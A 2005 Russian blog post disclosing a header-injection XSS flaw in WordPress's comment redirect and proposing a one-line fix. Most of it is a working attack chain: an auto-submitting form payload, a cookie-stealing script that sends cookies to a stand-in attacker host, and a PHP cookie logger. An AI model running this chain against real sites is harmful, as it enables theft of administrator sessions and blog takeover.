XSS-уязвимость в WordPress
12 Ноября, 2005О том, как можно осуществить XSS-нападение через функцию header() в PHP я прочитал тут. Кстати, автор статьи сообщил, что об этой уязвимости уже писали 3 года назад на securitylab.ru.
Я решил выяснить, подвержен ли WordPress такого рода нападению. В коде нашлось вот такие интересные места:
$location = (empty($_POST['redirect_to'])) ? $_SERVER["HTTP_REFERER"] : $_POST['redirect_to'];
wp_redirect($location);
это 60-62 строчки в файле wp-comments-post.php и соответственно реализация этой функции в файле wp-includes/pluggable-functions.php
function wp_redirect($location) {
global $is_IIS;
if ($is_IIS)
header("Refresh: 0;url=$location");
else
header("Location: $location");
}
В итоге получается, что вся логика работы такого редиректа сводится к строчке вида:
header("Location: ".$_POST['redirect_to']);
Как видно, задача отличается от рассмотренной в выше указанной статье тем, что переменная берется из массива $_POST, а тут уже просто так символы "кавычка" и "обратный слеш" не передать, потому что предусмотрен механизм их экранирования.
Пришлось немного повозится, чтобы обойти эту преграду.
Далее под сервером blog.wp.com будет пониматься сервер, на котором установлен WordPress, а под server.com - сервер, на который есть возможность залить файлы, необходимые для осуществления нападения.
Ниже приведено содержимое файла, ссылку на который необходимо дать жертве, предварительно указав номер реально существующего поста на блоге жертвы:
<html>
<body onLoad=document.forms["loginform"].submit()>
<form name="loginform" id="loginform" action="http://blog.wp.com/wp-comments-post.php" method="post">
<input type="hidden" name="comment_post_ID" value="1" />
<input type="hidden" name="author" value="Wordpress-bug notifier" />
<input type="hidden" name="email" value="xss@xss.xss" />
<input type="hidden" name="url" value="http://ya.ru" />
<input type="hidden" name="comment" value='Please fix xss-vulnerability on your Wopdpress blog engine.' />
<textarea name="redirect_to" style="display: none;">
Content-Type: text/html
<html><body><script language=JavaScript src=http://server.com/js.js type=text
/javascript></script><script>cook()</script><!--</textarea>
</form>
</body>
</html>
Примечания:
- в четвертой снизу строчке открывающийся тег комментария нужно записать соответствующей мнемоникой;
- файл необходимо сохранить с windows-like переводом строки, т.к. имеено его значение эквивалентно последовательности \r\n, которую невозможно передать открытым текстом.
Фактически, в этом файле продублирована форма добавления комментария. При открытии этого файла в браузере жертвой будет автоматически просабмичена форма, в блог будет добавлен комментарий, а в браузер жертвы будет загружен html-код, который выполнит код функции cook() из файла js.js:
function cook() {
document.location = "http://server.com/log.php?" + document.cookie;
}
Эта функция в свою очередь вызовет скрипт на сервере злоумышленика, передав ему при этом куки жертвы. Далее жертву можно перенаправить куда-угодно.
<?php
$fp = fopen("./log.txt", "a");
$temp = explode(";",$_SERVER["QUERY_STRING"]);
$str='';
foreach ($temp as $t) {
$str.= $t."\r";
}
fputs($fp, $str."\r\r\r");
fclose($fp);
header("Location: http://server.com/somebody/");
?>
Теперь в файле log.txt у злоумышленника есть куки жертвы. Механизм авторизации у WordPress таков, что если администратор принудительно не вышел из админ-раздела посредством пункта меню "Logout", в его браузере в куках год будут храниться логин и пароль. Злоумышленнику остается посавить украденные куки на свой браузер и свободно зайти в админ-раздел блога.
Всех, кто использует WordPress для ведения блога, прошу устранить данную уязвимость, поменяв 60-ю строчку в файле wp-comments-post.php на:
$location = (empty($_POST['redirect_to'])) ? $_SERVER["HTTP_REFERER"] : urlencode($_POST['redirect_to']);
P.S. При написании этой статьи ни один блог кроме http://localhost/test/blogs/wordpress/ не пострадал ;)
P.P.S. Кто умеет и знает куда, сообщите об этой уязвимости разработчикам WordPress.
P.P.P.S. На IE как обычно ничего не заработало, хотя не факт, что нельзя приспособить эту уязвимость и для него.
Интересно как. А у тебя такие вещи возможны?
Оставил EvilBot 12 Ноября, 2005 в 11:43